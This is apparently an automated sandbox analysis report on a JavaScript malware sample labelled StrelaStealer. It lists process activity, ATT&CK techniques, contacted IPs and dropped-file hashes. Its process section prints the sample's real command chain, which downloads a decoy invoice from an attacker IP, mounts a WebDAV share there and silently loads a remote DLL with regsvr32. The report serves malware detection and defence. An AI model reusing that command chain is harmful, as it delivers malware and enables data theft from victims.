Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
31244102191071522677.js	7%	Virustotal		Browse
31244102191071522677.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/H	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/bJ	0%	Avira URL Cloud	safe
http://193.143.1.2058888/	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/w	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
171.39.242.20.in-addr.arpa	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/H	net.exe, 0000000C.00000002.1313263306.000001AA65428000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1321945847.0000023FEFC00000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2546136463.0000023FEFA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
http://193.143.1.2058888/	net.exe, 0000000C.00000002.1313263306.000001AA65428000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/w	net.exe, 0000000C.00000002.1313350805.000001AA6544D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1312776684.000001AA6544D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/bJ	net.exe, 0000000C.00000002.1313350805.000001AA6544D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1312776684.000001AA6544D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 0000000C.00000003.1312776684.000001AA6544D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1312648749.000001AA6547E000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588517
Start date and time:	2025-01-11 01:58:37 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	31244102191071522677.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 184.28.90.27, 50.16.47.176, 18.213.11.84, 54.224.241.105, 34.237.241.83, 2.23.197.184, 199.232.210.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 3.233.129.217, 20.12.23.50, 23.195.92.153, 20.242.39.171, 4.175.87.197
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:59:33	API Interceptor	24x Sleep call for process: powershell.exe modified
19:59:37	API Interceptor	1x Sleep call for process: net.exe modified
19:59:37	API Interceptor	2x Sleep call for process: svchost.exe modified
19:59:45	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9742962732217849.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5949401323954377.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066873942646835
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqQ:2JIB/wUKUKQncEmYRTwh0E
MD5:	090E5466DB6DE399D0AE6BDAFECEABBD
SHA1:	E68A8CFEFE84E6C6C92972F906439CC4A29D092B
SHA-256:	CCDE52DE6A5B1805963272989F60F803B8FD9C15F3DB6A374903F3E03A57ACBE
SHA-512:	819E8ACC24AAB806D437DBB325FE4941B8DF330ECF85C31097511F05BC5CE1CCB8517126CD645D106F6105A363A79EEF21C66CB1603057CE0DBA3B74DDC744DC
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x25c7bac5, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899265795619329
Encrypted:	false
SSDEEP:	1536:DSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:DazaPvgurTd42UgSii
MD5:	AB21B494181A5B9823692916C631CE9A
SHA1:	284501CE48B7AEEA26364EDC96E7B07CCF02680E
SHA-256:	E953CC797D6CB71BCF4C1C063588F73632D4FFAB454EF343FAF01FF40E1AD831
SHA-512:	82E876ED2C194697AFB287A77B5B90A75545528DF40EC4F767863EB467ECD43553B8DDC26322D9F14E4169EEC2F3D7E796DE7DE4565CB48A0384B3C08095553E
Malicious:	false
Preview:	%..... ...............X\...;...{......................0.`.....42...{5.&;...}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................nbI.&;...}..................Uw.f&;...}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0809350900840648
Encrypted:	false
SSDEEP:	3:RyKYe0eYuBNt/57Dek3Jnzf6uRuvollEqW3l/TjzzQ/t:RyKzd/PR3tzfFRmd8/
MD5:	9C239A6FAE6A24D85F76A8E700E42A41
SHA1:	1BB5B339D2462EAC6AF6993538829F88DDE5117C
SHA-256:	234704BCD767C297AB0FCF342FB7777B24F67AA48CC87B241469B81FF036CB74
SHA-512:	BFA376A2107B4142DC7FAC187A18188C2909090415386A21832F62D3933FCEDE57F088192A089CFA0E243C9610B5AA5E95BCFD8BFFE926DC1408D8D5EC480E94
Malicious:	false
Preview:	?Q)......................................;...{..&;...}..42...{5.........42...{5.42...{5...Y.42...{59................Uw.f&;...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.190174375650815
Encrypted:	false
SSDEEP:	6:iO4Ko9uEq2PcNwi2nKuAl9OmbnIFUtSKo7PGZZmwsKo7PGzkwOcNwi2nKuAl9Omt:7G3vLZHAahFUtUGZ/qGz54ZHAaSJ
MD5:	800B970A0C65D2FEADD016A000E6CC8D
SHA1:	446503C29C44A97FCCBD94D7F9FA5E3DCB9AF75D
SHA-256:	50DFF608E2C3126D80C0F1384B85D34872EB0A0468263A5186FAC48D8B168832
SHA-512:	2F2366A247DEB35B250530AE2F35FCCF521595060F544D19B436C8DBC0979581496AEF03F7435B086369E2ABD94035A245F68A1FEAF57934F009541FD477381F
Malicious:	false
Preview:	2025/01/10-19:59:37.902 1ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:59:37.904 1ec0 Recovering log #3.2025/01/10-19:59:37.904 1ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.190174375650815
Encrypted:	false
SSDEEP:	6:iO4Ko9uEq2PcNwi2nKuAl9OmbnIFUtSKo7PGZZmwsKo7PGzkwOcNwi2nKuAl9Omt:7G3vLZHAahFUtUGZ/qGz54ZHAaSJ
MD5:	800B970A0C65D2FEADD016A000E6CC8D
SHA1:	446503C29C44A97FCCBD94D7F9FA5E3DCB9AF75D
SHA-256:	50DFF608E2C3126D80C0F1384B85D34872EB0A0468263A5186FAC48D8B168832
SHA-512:	2F2366A247DEB35B250530AE2F35FCCF521595060F544D19B436C8DBC0979581496AEF03F7435B086369E2ABD94035A245F68A1FEAF57934F009541FD477381F
Malicious:	false
Preview:	2025/01/10-19:59:37.902 1ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:59:37.904 1ec0 Recovering log #3.2025/01/10-19:59:37.904 1ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.212087021436116
Encrypted:	false
SSDEEP:	6:iO4KoD+q2PcNwi2nKuAl9Ombzo2jMGIFUtSKoRTZmwsKoRDVkwOcNwi2nKuAl9OU:7LvLZHAa8uFUtS/c54ZHAa8RJ
MD5:	BF104AD937EB3D757FF5FEC94D62AE6D
SHA1:	061C5AEC521BBFADF9CE2FBE44018BBBC41E7278
SHA-256:	BECD4AFA8D7A721CC8A1741A480698094CB2D3085E8349E7ED2340D74A08D0DD
SHA-512:	051AFF42F05E61717AD5AFE45A24DA842E03EC119B918C7B32A8F6E2D9DB988BCFF6853B278B55766EA79AD91063F961280CABCD7132F428D7DB97C60CED3ED9
Malicious:	false
Preview:	2025/01/10-19:59:37.923 1f08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:59:37.925 1f08 Recovering log #3.2025/01/10-19:59:37.925 1f08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.212087021436116
Encrypted:	false
SSDEEP:	6:iO4KoD+q2PcNwi2nKuAl9Ombzo2jMGIFUtSKoRTZmwsKoRDVkwOcNwi2nKuAl9OU:7LvLZHAa8uFUtS/c54ZHAa8RJ
MD5:	BF104AD937EB3D757FF5FEC94D62AE6D
SHA1:	061C5AEC521BBFADF9CE2FBE44018BBBC41E7278
SHA-256:	BECD4AFA8D7A721CC8A1741A480698094CB2D3085E8349E7ED2340D74A08D0DD
SHA-512:	051AFF42F05E61717AD5AFE45A24DA842E03EC119B918C7B32A8F6E2D9DB988BCFF6853B278B55766EA79AD91063F961280CABCD7132F428D7DB97C60CED3ED9
Malicious:	false
Preview:	2025/01/10-19:59:37.923 1f08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:59:37.925 1f08 Recovering log #3.2025/01/10-19:59:37.925 1f08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\45c7dbeb-97bc-4c16-9c02-65d9bf43a734.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.961604094723659
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqphJgXhsBdOg2HdZcaq3QYiubSpDyP7E4T3y:Y2sRds4hJgidMHS3QYhbSpDa7nby
MD5:	F7F9FB440F80217C39EA989AE2BC8FFC
SHA1:	D9455FE5ACAF3CDD863440D6EBFD552D864D3160
SHA-256:	0D9C37E9EFC1DB25952ED5EFDBD526F305C08006A644B0C8931AAE1421CBDD1E
SHA-512:	8C2BA26A6BE7394AE0A64F275361584A6DA468C53472D8048F262709ABB878ECB576958B1C8DFFF445614F5C04EFDD4D6AE7CE4A773FB4E8EF4E635252BC306E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117188906764","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":117633},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9436ff88-ce10-4a98-9702-edf9493dcbb0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3c5494.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.238619350672847
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtP7EHVucNzW:CwNw1GHqPySfkcigoO3h28ytPWVucNzW
MD5:	3C40543E720AF887128D218753F6BE83
SHA1:	1A4AE4B52AD1CAFC730683183D8024E38C425C35
SHA-256:	677F2CCBC3CB09AEA9A1FD188FDC436B663CE91EA7F0A55211378A89A5F44FA0
SHA-512:	1629B0149E6B200C9DA6148C9C2E7EE1AD4DCF5460F975BAE8C8AEF5EA1F7832B86554A4C40CEA7FD6BDA559F5BB8563E3F79781FAAC26F9FD5809900CAD0582
Malicious:	false
